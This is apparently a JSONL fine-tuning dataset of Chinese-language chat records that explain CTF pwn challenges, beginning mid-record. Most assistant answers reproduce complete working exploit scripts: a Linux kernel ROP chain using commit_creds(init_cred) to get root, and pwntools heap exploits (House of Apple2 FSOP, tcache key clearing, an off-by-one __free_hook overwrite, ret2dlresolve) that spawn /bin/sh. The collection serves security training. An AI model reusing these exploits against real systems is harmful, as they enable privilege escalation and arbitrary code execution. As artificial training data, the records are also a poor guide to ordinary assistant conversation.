gadget;\n    swapgs_restore_regs_and_return_to_usermode += 9;\n    writeChunk(0, 0x20, buf);\n\n    printf(\"gadget: %lx\\n\", pop_rdi_ret);\n    sleep(5);\n\n    __asm__ volatile (\n        \"mov r15, 0xbeefdead;\" // ROP\n        \"mov r14, pop_rdi_ret;\"\n        \"mov r13, init_cred;\" // add rsp, 0x40 ; ret\n        \"mov r12, commit_creds;\"\n        \"mov rbp, swapgs_restore_regs_and_return_to_usermode;\" // iret(q)\n        \"mov rbx, 0x999999999;\"\n        \"mov r11, 0x114514;\"\n        \"mov r10, 0x666666666;\"\n        \"mov r9, 0x1919114514;\"\n        \"mov r8, 0xabcd1919810;\"\n        \"xor rax, rax;\"\n        \"mov rcx, 0x666666;\"\n        \"mov rdx, 8;\"\n        \"mov rsi, rsp;\"\n        \"mov rdi, seq_fd;\"\n        \"syscall\"\n    );\n\n    system(\"/bin/sh\");\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-eba42a95145aa3d7", "original_line": 29, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/xhlj2021-easykernel/exp.c", "split": "train", "split_group_key": "b2d82c3d663f7ca1c8c81990"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/xhlj2021-easykernel/exp.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-30249f638a1f9e0e6b9b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `IO-FILE/house of apple2/2025gxqs name/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`IO-FILE/house of apple2/2025gxqs name/exp.py`\n\n分类：io_file\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `delete`\n- `edit`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n- uaf/double-free\n- io-file/fsop\n\n关键常量/偏移样例：\n`0x100`, `0xaa0`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\nelf = ELF('vuln')\nio = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\ndef add(index,size,content):\n    ru(b\"Choice: \")\n    sl(b\"1\")\n    ru(b\"Index: \")\n    sl(str(index))\n    ru(b\"Size: \")\n    sl(str(size))\n    ru(b\"Content: \")\n    sl(content)\n\ndef delete(index): #UAF\n    ru(b\"Choice: \")\n    sl(b\"2\")\n    ru(b\"Index: \")\n    sl(str(index))\n\ndef edit(index,content): #only once\n    ru(b\"Choice: \")\n    sl(b\"3\")\n    ru(b\"Index: \")\n    sl(str(index))\n    ru(b\"content: \")\n    sl(content)\n\ndef show(index):\n    ru(b\"Choice: \")\n    sl(b\"4\")\n    ru(b\"Index: \")\n    sl(str(index))\n\nfor i in range(0,9):\n    add(i,0x100,b\"aaa\")\n\nfor i in range(0,9):\n    delete(8-i)\n\ndbg()\n\n# unsortedbin leak heap addr\nshow(0)\nru(b\"Content: \")\nleak_main_arena = uu64()\nlibc_base = leak_main_arena + 0xaa0 - libc.sym[\"_IO_2_1_stdout_\"]\n\n# tcache leak heap addr\nshow(8)\nru(b\"Content: \")\nencrypt = r(7)\nleak_heap_base = u64(encrypt[0:5].ljust(8, b\"\\x00\")) << 12\nleak_heap_base = u64(encrypt[0:5].ljust(8,b\"\\x00\")) << 12\nlibc_stdout = libc_base + libc.sym[\"_IO_2_1_stdout_\"]\nenctypted_fd = (leak_heap_base >> 12)^libc_stdout\n\nedit(2,p64(enctypted_fd))\n\nadd(9,0x100,b\"aaa\") # chunk2\nio_wfile_jumps = libc_base + libc.sym[\"_IO_wfile_jumps\"]\n\nfake_file = flat(\n    {\n        0x0: b\" sh;\",\n        0x8: libc_stdout - 0x10,\n        0x28: libc_base + libc.sym[\"system\"],\n        0x88: libc_base+libc.sym[\"_environ\"] - 0x10,\n        0xA0: libc_stdout - 0x40,\n        0xD8: io_wfile_jumps - 0x20,\n    },\n    filler=b\"\\x00\",\n)\n\nadd(10,0x100,bytes(fake_file)) # stdout\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-29919f193bec81e3", "original_line": 157, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2025gxqs name/exp.py", "split": "train", "split_group_key": "7fe0abd2f354b5d765143f00"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2025gxqs name/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3040be02ea0f59b61d70", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「清除tcache key」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 清除tcache key\n\n通过一些 UAF 手段将该 free chunk 中记录的 tcache key清除，从而绕过该检测。\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x410)\nadd_chunk(1, 0x10)\ndelete_chunk(0)\nadd_chunk(0, 0x410)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3b6be0\ninfo(\"libc base: \" + hex(libc.address))\nadd_chunk(0, 0x100)\nadd_chunk(10, 0x100)\ndelete_chunk(10)\ndelete_chunk(0)\nedit_chunk(0, 'a' * 0x10)\ndelete_chunk(0)\nadd_chunk(0, 0x100)\nedit_chunk(0, p64(libc.sym['__free_hook']))\nadd_chunk(0, 0x100)\nadd_chunk(0, 0x100)\nedit_chunk(0, p64(libc.sym['system']))\nedit_chunk(1, '/bin/sh\\x00')\ndelete_chunk(1)", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1687937dac164960", "original_line": 58, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-30622bf0de0ef06a6bcf", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「MSG_COPY 特例」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### MSG_COPY 特例\n\n`MSG_COPY` 置位时，消息不会从双向链表上 unlink，只进行 copy 操作。源码注释为：`If we are copying, then do not unlink message and do not update queue parameters.`\n\n```c\nif (!IS_ERR(msg)) {\n    if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {\n        msg = ERR_PTR(-E2BIG);\n        goto out_unlock0;\n    }\n\n    if (msgflg & MSG_COPY) {\n        msg = copy_msg(msg, copy);\n        goto out_unlock0;\n    }\n\n    list_del(&msg->m_list);\n    msq->q_qnum--;\n    msq->q_rtime = ktime_get_real_seconds();\n    ipc_update_pid(&msq->q_lrpid, task_tgid(current));\n    msq->q_cbytes -= msg->m_ts;\n    atomic_sub(msg->m_ts, &ns->msg_bytes);\n    atomic_dec(&ns->msg_hdrs);\n    ss_wakeup(msq, &wake_q, false);\n\n    goto out_unlock0;\n}\n```\n\n因此可以通过 `MSG_COPY` 多次读取同一条消息。\n\n`MSG_COPY` 置位时，内核会通过 `prepare_copy()` 新申请一块消息结构作为拷贝目标：\n\n```c\nstatic inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)\n{\n    struct msg_msg *copy;\n\n    copy = load_msg(buf, bufsz);\n    if (!IS_ERR(copy))\n        copy->m_ts = bufsz;\n    return copy;\n}\n```\n\n`copy_msg()` 中存在长度检查：\n\n```c\nif (src->m_ts > dst->m_ts)\n    return ERR_PTR(-EINVAL);\n```\n\n因此需要满足：\n\n```text\nbufsz >= src->m_ts\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1bd82cfc70eca879", "original_line": 334, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3098856c23e1e0bbe65b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「示例 2」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 示例 2\n\n第二种常见的导致 off-by-one 的场景就是字符串操作，常见的原因是字符串的结束符计算有误：\n\n```c\nint main(void) {\n    char buffer[40]=\"\";\n    void *chunk1;\n    chunk1=malloc(24);\n    puts(\"Get Input\");\n    gets(buffer);\n    if(strlen(buffer)==24) {\n        strcpy(chunk1,buffer);\n    }\n    return 0;\n}\n```\n\n程序乍看上去没有任何问题（不考虑栈溢出），可能很多人在实际的代码中也是这样写的。但是 `strlen` 和 `strcpy` 的行为不一致却导致了 off-by-one 的发生。`strlen` 是我们很熟悉的计算 ASCII 字符串长度的函数，这个函数在计算字符串长度时是不把结束符 `\\x00` 计算在内的，但是 `strcpy` 在复制字符串时会拷贝结束符 `\\x00`。这就导致了我们向 chunk1 中写入了25个字节。\n\n输入前：\n\n```\n0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1\n0x602010: 0x0000000000000000 0x0000000000000000\n0x602020: 0x0000000000000000 0x0000000000000411 <=== next chunk\n```\n\n输入 'A' * 24 后执行 strcpy：\n\n```\n0x602000: 0x0000000000000000 0x0000000000000021\n0x602010: 0x4141414141414141 0x4141414141414141\n0x602020: 0x4141414141414141 0x0000000000000400\n```\n\n可以看到 next chunk 的 `size` 域低字节被结束符 `\\x00` 覆盖，这种属于 off-by-one 的一个分支称为 NULL byte off-by-one。为什么是低字节被覆盖呢？因为我们通常使用的 CPU 的字节序都是小端法的，比如一个 DWORD 值使用小端法在内存中是这样存储的：DWORD 0x41424344 在内存中存储为 0x44, 0x43, 0x42, 0x41。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c2b3a7fae7f2ed35", "original_line": 5, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-30dc49253bd261a7f757", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/off-by-one/2021强网拟态 bitflip/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/off-by-one/2021强网拟态 bitflip/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dele`\n- `edit`\n- `show`\n\n关键常量/偏移样例：\n`0x490`, `0x4f3d5`, `0x4f432`, `0x10a41c`, `0x3ebcc0`\n\n训练用代码片段：\n```python\nfrom pwn import *\nr=process('./bitflip')\n#r=remote('TARGET_IP','49153')\ncontext.log_level='debug'\nlibc=ELF('/lib/x86_64-linux-gnu/libc.so.6')\none=[0x4f3d5,0x4f432,0x10a41c]\ndef add(idx,size):\n\tr.recv()\n\tr.sendline('1')\n\tr.recv()\n\tr.sendline(str(idx))\n\tr.recv()\n\tr.sendline(str(size))\n\ndef edit(idx,con):\n\tr.recv()\n\tr.sendline('2')\n\tr.recv()\n\tr.sendline(str(idx))\n\tr.recv()\n\tr.send(con)\n\ndef show(idx):\n\tr.recv()\n\tr.sendline('3')\n\tr.sendlineafter(\"Index: \",str(idx))\ndef dele(idx):\n\tr.recv()\n\tr.sendline('4')\n\n\tr.sendlineafter(\"Index: \",str(idx))\n\nfor i in range(9):\n\tadd(i,0x28)\nfor i in range(8):\n\tdele(i)\nadd(15,'99999999'*0xf0)\nfor i in range(8):\n\tadd(i,0x28)\nshow(7)\nr.recvuntil(\"Content: \")\nleak=u64(r.recv(6)+b'\\x00'*2)\nprint(hex(leak))\nbase=leak-0x3ebcc0\nprint(hex(base))\nfor i in range(9,16):\n\tadd(i,0x18)\nfor i in range(9,16):\n\tdele(i)\nadd(15,0x18)\nadd(14,0x18)\nshow(14)\nr.recvuntil(\"Content: \")\nheap=u64(r.recv(6)+b'\\x00'*2)\nprint(hex(heap))\nheap_base=heap-0x490\ndele(15)\ndele(16)\n\nfor i in range(9,16):\n\tadd(i,0x18)\nfor i in range(16,23):\n\tadd(i,0x28)\nadd(23,0x18)\nadd(24,0x28)\nadd(25,0x18)\nadd(26,0x18)\nfor i in range(9,16):\n\tdele(i)\nfor i in range(16,23):\n\tdele(i)\ndele(25)\nedit(23,'a'*0x18+'\\x51')\ndele(24)\nadd(9,0x48)\nfree=base+libc.sym[\"__free_hook\"]\nedit(9,p64(0)*5+p64(0x21)+p64(free-0x18)+b'a'*0x10+b'\\x21')\nfor i in range(10,17):\n\tadd(i,0x18)\nedit(23,'a'*0x18+'\\x21')\n\nadd(17,0x18)\nadd(18,0x18)\nsys=base+libc.sym['system']\nedit(17,'/bin/sh\\x00\\n')\nedit(18,'/bin/sh\\x00'+p64(sys)+'\\n')\ndele(17)\n\nr.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-b3dd40995db36ad0", "original_line": 15, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2021强网拟态 bitflip/exp.py", "split": "train", "split_group_key": "01ef18a358a8704f44d24009"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2021强网拟态 bitflip/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-30ed3a31b8516f5a70ef", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「4. 触发Storm」。\n资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 4. 触发Storm\n- 申请一个**大于unsorted chunk size**的chunk（如0x450），触发unsorted bin遍历，将unsorted chunk放入large bin。\n- 此时执行large bin插入逻辑，向`fake_chunk`附近写入堆地址，伪造好chunk头。\n- 随后再申请一个大小匹配fake_chunk的chunk（通常为0x430或0x440），即可从unsorted bin中申请到`fake_chunk`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1a79faa1677be555", "original_line": 19, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "split_group_key": "59c73050f60dc7a2444c3b7f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3225bd9c601ae238448d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Interpretation」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Interpretation\n\n- Page-level cross-cache recycling is now confirmed: this is no longer just a private-cache dead end.\n- A stale second free after recycling can perturb allocator/slab metadata, especially when freeing all stale slots.\n- But with 32 sprayed PTE pages, there is still no observable user PTE corruption: no SIGSEGV/SIGBUS and no byte mismatch on the touched pages.\n- Therefore `Dirty Pagetable` remains plausible but not proven. The next missing proof is actual overlap with a PTE page or another controllable page-backed target.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d98aa355fea0ae97", "original_line": 384, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "split_group_key": "88b27da04fe7f89b23f165d9"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-32496409abcf7ae8908c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/2023Newstar-dlresolve/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/2023Newstar-dlresolve/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n函数/封装：\n- `payload`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x401192`, `0x4011a9`, `0x4011aa`, `0x404500`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\ndef payload():\n    global sh\n\n    bssHigh = 0x404500\n    readAddr = 0x401192\n    leaveRetAddr = 0x4011a9\n    retAddr = 0x4011aa\n\n    rop = ROP(elf)\n    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=[\"/bin/sh\"])\n    rop.read(0, dlresolve.data_addr)\n    rop.ret2dlresolve(dlresolve)\n    raw_rop = rop.chain()\n\n    sl(b'0'*120 + p64(retAddr) + raw_rop)\n    sl(dlresolve.payload)\n    ia()\n\npayload()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-8d67a93474d9597e", "original_line": 528, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/2023Newstar-dlresolve/exp_cli.py", "split": "train", "split_group_key": "a6133645026295c2842df13a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/2023Newstar-dlresolve/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-32f5671d5b6f3be99aa8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/minishell/minishell.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/minishell/minishell.c`\n\n分类：misc_pwn\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `cat`\n- `check`\n- `clear`\n- `exec`\n- `init`\n- `ls`\n- `main`\n- `pwd`\n- `whoami`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x1000`, `0x100000000`\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n\n#define MAX_COMMAND_LENGTH 10\n\nvoid init()\n{\n\tsetbuf(stdin, 0LL);\n  \tsetbuf(stdout, 0LL);\n  \tsetbuf(stderr, 0LL);\n}\n\nvoid check()\n{\n}\n\nvoid exec(void *entry) {\n    asm volatile (\n        \"xor %rax, %rax\\n\\t\"  // rax = 0\n        \"xor %rbx, %rbx\\n\\t\"  // rbx = 0\n        \"xor %rcx, %rcx\\n\\t\"  // rcx = 0\n        \"xor %rdx, %rdx\\n\\t\"  // rdx = 0\n        \"xor %rsi, %rsi\\n\\t\"  // rsi = 0\n        \"xor %r8,  %r8\\n\\t\"   // r8  = 0\n        \"xor %r9,  %r9\\n\\t\"   // r9  = 0\n        \"xor %r10, %r10\\n\\t\"  // r10 = 0\n        \"xor %r11, %r11\\n\\t\"  // r11 = 0\n        \"xor %r12, %r12\\n\\t\"  // r12 = 0\n        \"xor %r13, %r13\\n\\t\"  // r13 = 0\n        \"xor %r14, %r14\\n\\t\"  // r14 = 0\n        \"xor %r15, %r15\\n\\t\"  // r15 = 0\n        \"xor %rsp, %rsp\\n\\t\"  // r15 = 0\n        \"xor %rbp, %rbp\\n\\t\"  // r15 = 0\n        \"jmp *%rdi\\n\\t\"\n    );\n}\n\n\nvoid cat()\n{\n        void *buf;\n        buf=mmap(0x100000000LL,0x1000,7,34,-1,0);\n        read(0,buf,0x15);\n        exec(buf);\n}\n\nvoid ls()\n{\n    DIR *d;\n    struct dirent *dir;\n    d = opendir(\".\");\n\n    if (d) {\n        while ((dir = readdir(d)) != NULL) {\n            printf(\"%s  \", dir->d_name);\n        }\n        printf(\"\\n\");\n        closedir(d);\n    } else {\n        perror(\"opendir\");\n    }\n}\n\nvoid clear()\n{\n    printf(\"\\033[2J\\033[H\");\n}\n\nvoid pwd()\n{\n    char cwd[PATH_MAX];\n    if (getcwd(cwd, sizeof(cwd)) != NULL) {\n        printf(\"%s\\n\", cwd);\n    } else {\n        perror(\"getcwd\");\n    }\n}\n\nvoid whoami() {\n    struct passwd *pw = getpwuid(getuid());\n    if (pw) {\n        printf(\"%s\\n\", pw->pw_name);\n    } else {\n        perror(\"whoami\");\n    }\n}\n\nint main() {\n    init();\n    char command[MAX_COMMAND_LENGTH];\n\n    while (true) {\n        printf(\"minishell$ \");\n        if (!fgets(command, sizeof(command), stdin))\n            break;\n\n        command[strcspn(command, \"\\n\")] = '\\0';\n\n        if (strncmp(command, \"exit\",4) == 0) {\n            break;\n        }\n\n        if (strlen(command) == 0) {\n            continue;\n        }\n\n        if (strncmp(command, \"ls\",2) == 0) {\n            ls();\n            continue;\n        }\n\n        if (strncmp(command, \"clear\",5) == 0) {\n            clear();\n            continue;\n        }\n\n        if (strncmp(command, \"whoami\",6) == 0) {\n            whoami();\n            continue;\n        }\n\n\n        if (strncmp(command, \"pwd\",3) == 0) {\n            pwd();\n            continue;\n        }\n\n        if (strncmp(command, \"cat\",3) == 0) {\n            cat();\n            continue;\n        }\n\n        printf(\"Command not supported: %s\\n\", command);\n    }\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-f93db350ffff1bb5", "original_line": 425, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/minishell/minishell.c", "split": "train", "split_group_key": "49d1404470a427f728ca720a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/minishell/minishell.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3412e6dea1f9b4c3f0c1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「5. 总结」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 5. 总结\n\n本题不是常规 tcache 题，而是高版本 glibc 下的大块题。关键利用点有三个：\n\n1. `name` 溢出覆盖 `seed`，让随机数泄露可逆，拿到 libc base 和 RWX mmap 地址。\n2. `drop` 后不清空指针，形成 UAF，可修改 largebin chunk 元数据。\n3. Full RELRO + seccomp 场景下，通过 largebin attack 劫持 `_IO_list_all`，走 House of Apple2，最终执行 `openat + sendfile` ORW shellcode。\n\n最终利用手法：\n\n```text\nUAF + largebin attack + FSOP / House of Apple2 + ORW shellcode\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3fd26b03f7903f02", "original_line": 202, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
